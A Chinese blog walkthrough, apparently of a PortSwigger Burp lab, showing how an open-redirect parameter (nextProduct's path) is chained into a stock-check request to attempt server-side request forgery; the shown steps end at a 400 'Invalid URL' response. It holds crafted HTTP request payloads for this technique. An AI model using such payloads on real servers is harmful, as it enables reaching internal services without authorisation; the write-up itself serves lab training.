[罗嗦的详解]BURP官方靶场Lab: SSRF with filter bypass via open redirection vulnerability

标签：product via SSRF currentProductId www Lab nextProduct bilibili path

参考视频:官方把场下的俩个视频
https://youtu.be/iF1BPVTqM10

<iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" frameborder="0" height="574" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/iF1BPVTqM10" title="SSRF - Lab #5 SSRF with filter bypass via open redirection vulnerability | Short Version" width="1020"></iframe>

抓取checkstore按钮的POST请求,请求体:

stockApi=/product/stock/check?productId=3&storeId=1

nextstore 按钮的get请求:

GET /product/nextProduct?currentProductId=3&path=/product?productId=4 HTTP/2

path参数可以使用http协议下,修改path参数:

GET /product/nextProduct?currentProductId=3&path=https://www.bilibili.com HTTP/2

成功跳转到比例比例. (这里的path直接修改成靶场给的内网地址只是会让客户端重定向到这个内网地址,而我们需要让服务器自己访问自己)
那如果是服务器调用api访问/product/nextProduct?currentProductId=3&path=https://www.bilibili.com这个目录
不就相当于服务器自己被重定向到www.bilibili.com了么(服务器给path参数后的站点发请求)
checkstore按钮的POST请求正好有一个stockApi参数可以对自己的目录进行访问
尝试修改该post参数为

stockApi=/product/nextProduct?currentProductId=3&path=https://www.bilibili.com

后发包(要url编码)
服务器返回

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 48

"Invalid external stock check url 'Invalid URL'"

翻译

标签：product,via,SSRF,currentProductId,www,Lab,nextProduct,bilibili,path
From： https://www.cnblogs.com/sesmof/p/18245409